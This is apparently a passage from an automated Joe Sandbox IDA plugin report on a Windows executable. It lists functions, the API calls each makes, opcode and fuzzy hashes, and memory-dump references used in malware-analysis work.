Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ .jbxd

Similarity

API ID: ExitProcess_rmdir$DestroyHeap
String ID:
API String ID: 2349447675-0
Opcode ID: 7ff438dc2005f445c1573f8959bcff76347286a518e84f97cfc343a5507eee76
Instruction ID: f6203454605ce15a78fc4500694886718a1945bc82ad3b924abf98fa16e55a6a
Opcode Fuzzy Hash: 7ff438dc2005f445c1573f8959bcff76347286a518e84f97cfc343a5507eee76
Instruction Fuzzy Hash: B0E01A71114110D5D9407BB3AD83A5E392C9F4831DF50847FF242781F39A7E5655257F

Function 00401B95 Relevance: 6.0, APIs: 4, Instructions: 15
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32 ref: 00401B9A
ExitProcess.KERNEL32(00000001,00000010,OPS,00000000,00000000,00000000), ref: 00401BA4
HeapDestroy.KERNEL32(00000001,00000010,OPS,00000000,00000000,00000000), ref: 00401BAF
ExitProcess.KERNEL32(00000001,00000010,OPS,00000000,00000000,00000000), ref: 00401BB4

Memory Dump Source

Source File: 00000001.00000002.2756276210.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2756241935.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000409000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000420000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756411953.00000000004C3000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756434708.00000000004C5000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ .jbxd

Similarity

API ID: ExitProcess$DestroyFreeHeapLibrary
String ID:
API String ID: 2053948195-0
Opcode ID: 5d7a21f33115fc00b4ce899fd08eef21c097241319e4cbf2c865bc4fb831db85
Instruction ID: 8df1d9b4a75efc814e8b2774fb98a4c810adc8e8576d79e7d4d7b84f580b8b4c
Opcode Fuzzy Hash: 5d7a21f33115fc00b4ce899fd08eef21c097241319e4cbf2c865bc4fb831db85
Instruction Fuzzy Hash: 85D092701A051184D9407BF35803A4D2C1C4F8870EB4180BFB651381E38E3C4314157F

Function 00406170 Relevance: 4.6, APIs: 3, Instructions: 72
filememoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(00000000,C0000000,00000001,00000000,00000002,00000080,00000000,00A405B8,00000000,?,?,?,00000000,00401A67,00000001,00000000), ref: 004061A4
CreateFileA.KERNEL32(00000000,40000000,00000001,00000000,00000005,00000000,00000000,?,?,?,00000000,00401A67,00000001,00000000,00000000,0040A0C8), ref: 004061BD
RtlAllocateHeap.NTDLL(00A40000,00000000,00001000), ref: 004061DA

Memory Dump Source

Source File: 00000001.00000002.2756276210.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2756241935.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000409000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000420000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756411953.00000000004C3000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756434708.00000000004C5000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ .jbxd

Similarity

API ID: CreateFile$AllocateHeap
String ID:
API String ID: 2813278966-0
Opcode ID: 37aa71c942510c7026b4bd5c517740329cdb7b4c424b667147bc97f85931557e
Instruction ID: cfaef28ad908b1f0d4b3848689bff36785735015fc1d85a617d71e6b06036d25
Opcode Fuzzy Hash: 37aa71c942510c7026b4bd5c517740329cdb7b4c424b667147bc97f85931557e
Instruction Fuzzy Hash: C911B67234030066D230AB69AD49F57B798D790B71F11872AF3A1BB2D1C7B6A8548768

Function 00405F13 Relevance: 4.5, APIs: 3, Instructions: 38
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strncpy.MSVCRT ref: 00405F31
strlen.MSVCRT ref: 00405F41
CreateDirectoryA.KERNELBASE(?,00000000), ref: 00405F7E

Memory Dump Source

Source File: 00000001.00000002.2756276210.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2756241935.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000409000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000420000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756411953.00000000004C3000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756434708.00000000004C5000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ .jbxd

Similarity

API ID: CreateDirectorystrlenstrncpy
String ID:
API String ID: 2535372781-0
Opcode ID: 8001b25660f552bfb8bc346aeba8b70798e5ff3e20decd252b64886d137bc1f8
Instruction ID: e2a7ac9b00687a60ad497853f81a50efedb75a5df88c79b9acbfe651115fb43f
Opcode Fuzzy Hash: 8001b25660f552bfb8bc346aeba8b70798e5ff3e20decd252b64886d137bc1f8
Instruction Fuzzy Hash: 0401F9319086099EDB21DA24CC89BEB77B99B10344F5400B6E5C4E61D1DBBC9AC8CF1A

Function 004066F1 Relevance: 3.0, APIs: 2, Instructions: 26
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,00000020), ref: 00406703
RtlAllocateHeap.NTDLL(00000008,?), ref: 0040672E

Memory Dump Source

Source File: 00000001.00000002.2756276210.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2756241935.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000409000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000420000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756411953.00000000004C3000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756434708.00000000004C5000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ .jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 8949d9c54749204bb44548e3168ae262ece6588501e9efe4df11175648cca151
Instruction ID: 97085aaf5d90ff1175411855662eb62e74a246e0554bdcf5be02ff30625659a3
Opcode Fuzzy Hash: 8949d9c54749204bb44548e3168ae262ece6588501e9efe4df11175648cca151
Instruction Fuzzy Hash: 6CF0F871244701DFD324CF1ADD01B1AFBE8FB94710F01C82EE0A9976A0D7B0A8058F94

Function 00404AB3 Relevance: 3.0, APIs: 2, Instructions: 25
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004066F1: RtlAllocateHeap.NTDLL(00000008,00000020), ref: 00406703
Part of subcall function 004066F1: RtlAllocateHeap.NTDLL(00000008,?), ref: 0040672E

Part of subcall function 00406434: RtlAllocateHeap.NTDLL(00000008,?), ref: 00406441

LoadIconA.USER32(00000001,00000058), ref: 00404AE1
LoadCursorA.USER32(00000000,00007F00), ref: 00404AF3

Memory Dump Source

Source File: 00000001.00000002.2756276210.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2756241935.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000409000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000420000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756411953.00000000004C3000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756434708.00000000004C5000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ .jbxd

Similarity

API ID: AllocateHeap$Load$CursorIcon
String ID:
API String ID: 1647777986-0
Opcode ID: ead3a737e6ccaa73f164d46f45ae259ba4949eb801cbd4beae9f9b9d72db2312
Instruction ID: e4af23a66d80ce1c901330b9548954eb4d527ddcbf43722768b30e59ae099efb
Opcode Fuzzy Hash: ead3a737e6ccaa73f164d46f45ae259ba4949eb801cbd4beae9f9b9d72db2312
Instruction Fuzzy Hash: 55F0EDB0B81305BAEB106B719E47F5636A0E704F05FA0843BB6017A6E2DBF95110AF9D

Function 00407470 Relevance: 3.0, APIs: 2, Instructions: 18
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HeapCreate.KERNELBASE(00000001,00001000,00000000), ref: 0040747C
RtlAllocateHeap.NTDLL(00A30000,00000001,00004104), ref: 004074AA

Memory Dump Source

Source File: 00000001.00000002.2756276210.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2756241935.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000409000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000420000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756411953.00000000004C3000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756434708.00000000004C5000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ .jbxd

Similarity

API ID: Heap$AllocateCreate
String ID:
API String ID: 2875408731-0
Opcode ID: 1264e4af3161c54cd60dd595cb6146aa1e96e8ebed9f3996878882c22747d97a
Instruction ID: edee8b013b50a9eb835c02f3e92a01e020b9c77627f8564c048df27c577a0994
Opcode Fuzzy Hash: 1264e4af3161c54cd60dd595cb6146aa1e96e8ebed9f3996878882c22747d97a
Instruction Fuzzy Hash: 25E0B670144304AFE314CF50EF05F563BA8F304744F100429FA48AA3AAC7F264508B9E

Function 00403694 Relevance: 3.0, APIs: 2, Instructions: 4
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

6F551CD0.COMCTL32(0040106C,00000000,00001000,00000000,00000000), ref: 00403694
CoInitialize.OLE32(00000000), ref: 0040369B

Memory Dump Source

Source File: 00000001.00000002.2756276210.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2756241935.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000409000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000420000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756411953.00000000004C3000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756434708.00000000004C5000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ .jbxd

Similarity

API ID: F551Initialize
String ID:
API String ID: 1663224656-0
Opcode ID: 495e8d337ab532213a8553dd48cd182140a6b03d5bc003c5ec6fc0d6657f4cde
Instruction ID: e54652b8d3c1eea1b95337253ed1730e4f0a5e5d42e685e6d2013b240332fa4d
Opcode Fuzzy Hash: 495e8d337ab532213a8553dd48cd182140a6b03d5bc003c5ec6fc0d6657f4cde
Instruction Fuzzy Hash: 19A0023194924056DD4077729A0BB0D3570678174AF1044E9B105751D24974982285AB

Function 00401BDD Relevance: 1.6, APIs: 1, Instructions: 95
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00403DC0: RtlAllocateHeap.NTDLL(02460000,00000008,00000000), ref: 00403DD1

Part of subcall function 00405EB2: GetTempPathA.KERNEL32(00000104,00000000,00000104,004013B3,?,?,?,00000000,00401BFC,00000000,00000000,00000400,00000000,00000000,00000000,00000000), ref: 00405EC9
Part of subcall function 00405EB2: LoadLibraryA.KERNEL32(Kernel32.DLL,?,?,?,00000000,00401BFC,00000000,00000000,00000400,00000000,00000000,00000000,00000000,004013B3,OPS,00000000), ref: 00405ED6
Part of subcall function 00405EB2: GetProcAddress.KERNEL32(00000000,GetLongPathNameA), ref: 00405EE8
Part of subcall function 00405EB2: GetLongPathNameA.KERNELBASE(00000000,00000000,00000104,?,?,?,00000000,00401BFC,00000000,00000000,00000400,00000000,00000000,00000000,00000000,004013B3), ref: 00405EF5
Part of subcall function 00405EB2: FreeLibrary.KERNEL32(00000000,?,?,?,00000000,00401BFC,00000000,00000000,00000400,00000000,00000000,00000000,00000000,004013B3,OPS,00000000), ref: 00405EFA

GetTempFileNameA.KERNEL32(?,0040A00D,00000000,?,00000000,00000400,00000000,00000000,00000000,00000000,004013B3,OPS,00000000,00000000,00000000), ref: 00401C17

Part of subcall function 00403E50: memcpy.MSVCRT(00000000,00000000,00000000,00000000,004013B3,?,?,00000000,00401C2C,00000000,00000000,00000000,?,0040A00D,00000000), ref: 00403E83

Part of subcall function 00403E30: HeapFree.KERNEL32(02460000,00000000,00000000,00401113,00000000,00000000), ref: 00403E3E

Part of subcall function 00405F13: strncpy.MSVCRT ref: 00405F31
Part of subcall function 00405F13: strlen.MSVCRT ref: 00405F41
Part of subcall function 00405F13: CreateDirectoryA.KERNELBASE(?,00000000), ref: 00405F7E

Part of subcall function 00405DD5: GetCurrentDirectoryA.KERNEL32(00000104,00000000,00000104,?,?,?,00000000,00401C62,00000000,00000000,00000000,00000000,?,0040A00D,00000000), ref: 00405DEB

Part of subcall function 004074F0: strlen.MSVCRT ref: 00407503

Memory Dump Source

Source File: 00000001.00000002.2756276210.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2756241935.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000409000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000420000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756411953.00000000004C3000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756434708.00000000004C5000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ .jbxd

Similarity

API ID: DirectoryFreeHeapLibraryNamePathTempstrlen$AddressAllocateCreateCurrentFileLoadLongProcmemcpystrncpy
String ID:
API String ID: 4243183096-0
Opcode ID: e56fc6d042597ed60c71002540d3f59920f66fb00b94b04854ac603c610c8ac9
Instruction ID: 2dff8fe517095d79ad9ad3ab911cbcc41af86ea3352296ed8cd7210842124807
Opcode Fuzzy Hash: e56fc6d042597ed60c71002540d3f59920f66fb00b94b04854ac603c610c8ac9
Instruction Fuzzy Hash: 823143701182009FD300FF65ED92E6B7BA9EB48305F10883EF581B61A7C73DA9519B9E

Function 00407750 Relevance: 1.5, APIs: 1, Instructions: 33memoryCOMMON

Download Yara Rule

APIs

RtlReAllocateHeap.NTDLL(00A30000,00000001,00A30700,000040FF), ref: 00407797

Memory Dump Source

Source File: 00000001.00000002.2756276210.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2756241935.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000409000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000420000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756411953.00000000004C3000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756434708.00000000004C5000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ .jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: ad516d237c7ed583f5a18e8cc45da5cf0098420d861495854ab8e72574222f80
Instruction ID: 28936eabe9b6fdea5660807dec5754b311fbf5a963c992916f66545fa0493ef0
Opcode Fuzzy Hash: ad516d237c7ed583f5a18e8cc45da5cf0098420d861495854ab8e72574222f80
Instruction Fuzzy Hash: F301C975900208EFC708CF58EE95A597BB4FB88308B108179ED09A7356D730AA60CB9E

Function 004030A0 Relevance: 1.5, APIs: 1, Instructions: 26memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,-00000018,00000401), ref: 004030B5

Memory Dump Source

Source File: 00000001.00000002.2756276210.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2756241935.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000409000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000420000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756411953.00000000004C3000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756434708.00000000004C5000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ .jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: c50f247240b101207fbf137a822fb79612e5a8787f048ed9cf008535fc236835
Instruction ID: 460cff1aebd5c89f6a466e3c7b53c8f2e2deecb765fd07c7d01cf3f68e72b86a
Opcode Fuzzy Hash: c50f247240b101207fbf137a822fb79612e5a8787f048ed9cf008535fc236835
Instruction Fuzzy Hash: 91F0BCB1604701AFC308CF05C940A0BFBE6EFC8311F15C96AE4989B36AE775D842CB91

Function 00405F90 Relevance: 1.5, APIs: 1, Instructions: 24fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE(00000000,?,?,00000000,00000000,00000000,?,004063E4,00000000,?,?,?,00406298,00000000,?,?), ref: 00405FB5

Memory Dump Source

Source File: 00000001.00000002.2756276210.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2756241935.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000409000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000420000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756411953.00000000004C3000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756434708.00000000004C5000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ .jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 9e1269481919ece40f11f9664006c58e9186f5c3eb2b0b7e7684ec6c99c078cf
Instruction ID: 772ef9aa7f968d4b686b07dbd3a32be2510b3ef25a50012a320cac0da8777639
Opcode Fuzzy Hash: 9e1269481919ece40f11f9664006c58e9186f5c3eb2b0b7e7684ec6c99c078cf
Instruction Fuzzy Hash: DAE0AEB6515701AFC324CF68C948C67F7F8EB88610B00C92EA89A93A00E630F840CF61

Function 00406807 Relevance: 1.5, APIs: 1, Instructions: 6memoryCOMMON

Download Yara Rule

APIs

HeapCreate.KERNELBASE(00000000,00000400,00000000,0040104E,00000000,00001000,00000000,00000000), ref: 00406810

Memory Dump Source

Source File: 00000001.00000002.2756276210.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2756241935.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000409000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000420000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756411953.00000000004C3000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756434708.00000000004C5000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ .jbxd

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: 063c42fd6fab85bc4f4261230f849ee297642026c7fe5834627ea444ddde3dc4
Instruction ID: a1970917e828b1c725cfc33b77b9c06a1eec18c1769a3480f2e18b6e12359080
Opcode Fuzzy Hash: 063c42fd6fab85bc4f4261230f849ee297642026c7fe5834627ea444ddde3dc4
Instruction Fuzzy Hash: FDB011B0280300ABE2200F20AE0AB003A20B300B0AF200020F300B82E0CBB020208A0E

Function 00403D90 Relevance: 1.5, APIs: 1, Instructions: 6memoryCOMMON

Download Yara Rule

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000,00401062,00000000,00001000,00000000,00000000), ref: 00403D99

Memory Dump Source

Source File: 00000001.00000002.2756276210.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2756241935.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000409000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000420000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756411953.00000000004C3000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756434708.00000000004C5000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ .jbxd

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: c5d78ee7b42623dead5e1ede4b7128ed54204e39d83815b4aeb2356500d143c9
Instruction ID: eae18f8d58a2e4a3b1d5f4302a4f812a2dd08b0a1b01d317368b01850db83572
Opcode Fuzzy Hash: c5d78ee7b42623dead5e1ede4b7128ed54204e39d83815b4aeb2356500d143c9
Instruction Fuzzy Hash: EDB0127029134056E2100F105E06B003930A304B43F100020F340792D6C7F01040450D

Non-executed Functions

Function 00405D3C Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 60keyboardwindowstringCOMMON

Download Yara Rule

APIs

GetKeyState.USER32(00000009), ref: 00405D4A
GetKeyState.USER32(00000011), ref: 00405D52
GetKeyState.USER32(00000010), ref: 00405D5A
GetKeyState.USER32(00000012), ref: 00405D62
GetFocus.USER32 ref: 00405D74
GetClassNameA.USER32(00000000), ref: 00405D77
strncmp.MSVCRT ref: 00405D88
GetFocus.USER32 ref: 00405D9B
SendMessageA.USER32(00000000), ref: 00405D9E
GetPropA.USER32(?,PB_WindowID), ref: 00405DB2

Strings

Rich, xrefs: 00405D82
PB_WindowID, xrefs: 00405DAA

Memory Dump Source

Source File: 00000001.00000002.2756276210.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2756241935.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000409000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000420000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756411953.00000000004C3000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756434708.00000000004C5000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ .jbxd

Similarity

API ID: State$Focus$ClassMessageNamePropSendstrncmp
String ID: PB_WindowID$Rich
API String ID: 2735883691-1396934994
Opcode ID: 34c255d9ab48507f7e4b971ca8b4d3a228d5c90effd43254bb39ffe307da5d8e
Instruction ID: 77dc2629d62e80cb4dd25d6b8617fe52c6faf744ad0dfdb0d38b69dd5d3036f9
Opcode Fuzzy Hash: 34c255d9ab48507f7e4b971ca8b4d3a228d5c90effd43254bb39ffe307da5d8e
Instruction Fuzzy Hash: 940125715007286AEE006BA0DD09FAB2F6CEF10744F008037B901F70D6D679A855DAA9

Function 00404714 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 61nativeCOMMON

Download Yara Rule

APIs

GetWindowLongA.USER32(?,000000F4), ref: 0040471F
CallWindowProcA.USER32(?,?,?,?,?), ref: 00404748
RemovePropA.USER32(?,PB_ID), ref: 00404773
RemovePropA.USER32(?,PB_DropAccept), ref: 0040477B
RevokeDragDrop.OLE32(?), ref: 00404782
SetWindowLongA.USER32(?,000000F4,000000FF), ref: 0040478D
NtdllDefWindowProc_A.NTDLL(?,?,?,?), ref: 004047AF

Strings

PB_DropAccept, xrefs: 00404775
PB_ID, xrefs: 0040476D

Memory Dump Source

Source File: 00000001.00000002.2756276210.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2756241935.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000409000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000420000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756411953.00000000004C3000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756434708.00000000004C5000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ .jbxd

Similarity

API ID: Window$LongPropRemove$CallDragDropNtdllProcProc_Revoke
String ID: PB_DropAccept$PB_ID
API String ID: 1182866496-3688647018
Opcode ID: b9bfcae031c6630c6e9c092a5eb06929bf36462863c6b1a7c9fcfbf9c6ef34c6
Instruction ID: 8847c1e44ce66a7f40964fadd5f5e1718d5aefc3fa063d13d1fd232dc2879c57
Opcode Fuzzy Hash: b9bfcae031c6630c6e9c092a5eb06929bf36462863c6b1a7c9fcfbf9c6ef34c6
Instruction Fuzzy Hash: C3118231000205BFCB02AF65DD88D6F3BB9EB867747108236F925722E1C735DC219B6A

Function 00407E1A Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 71memorynativeCOMMON

Download Yara Rule

APIs

sprintf.MSVCRT ref: 00407E31
GetPropA.USER32(?,?), ref: 00407E40
HeapFree.KERNEL32(00000000,?), ref: 00407E95
HeapFree.KERNEL32(00000000,00000000), ref: 00407E9F
RemovePropA.USER32(?,?), ref: 00407EA8
CallWindowProcA.USER32(?,?,00000082,?,?), ref: 00407EC3
NtdllDefWindowProc_A.NTDLL(?,?,?,?), ref: 00407ED7

Strings

PB_GadgetStack_%i, xrefs: 00407E2B

Memory Dump Source

Source File: 00000001.00000002.2756276210.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2756241935.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000409000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000420000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756411953.00000000004C3000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756434708.00000000004C5000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ .jbxd

Similarity

API ID: FreeHeapPropWindow$CallNtdllProcProc_Removesprintf
String ID: PB_GadgetStack_%i
API String ID: 1062891511-1190326050
Opcode ID: 97b61449fdd32c1f0e1f8b47389faaa8a6c1ca6a220e715a3d7318b1351bfbad
Instruction ID: cf438cc818e644c30d8d6d7832dcf279f56c8c30dc3acf8a1c3538aaa767c57c
Opcode Fuzzy Hash: 97b61449fdd32c1f0e1f8b47389faaa8a6c1ca6a220e715a3d7318b1351bfbad
Instruction Fuzzy Hash: 2E21397290020AFFCF119F50ED44CAA7B7AFB54344B00807AF905A6270D735AD61EB9A

Function 00405B1F Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 60nativeCOMMON

Download Yara Rule

APIs

Part of subcall function 004056EF: GetPropA.USER32(?,PB_WindowID), ref: 00405736
Part of subcall function 004056EF: GetParent.USER32(?), ref: 00405746

GetPropA.USER32(?,PB_MDI_Gadget), ref: 00405B47
DefFrameProcA.USER32(?,00000000,?,?,?), ref: 00405B88
SetLastError.KERNEL32(00000000), ref: 00405B92
NtdllDefWindowProc_A.NTDLL(?,?,?,?), ref: 00405BA8

Strings

PB_MDI_Gadget, xrefs: 00405B41

Memory Dump Source

Source File: 00000001.00000002.2756276210.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2756241935.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000409000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000420000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756411953.00000000004C3000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756434708.00000000004C5000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ .jbxd

Similarity

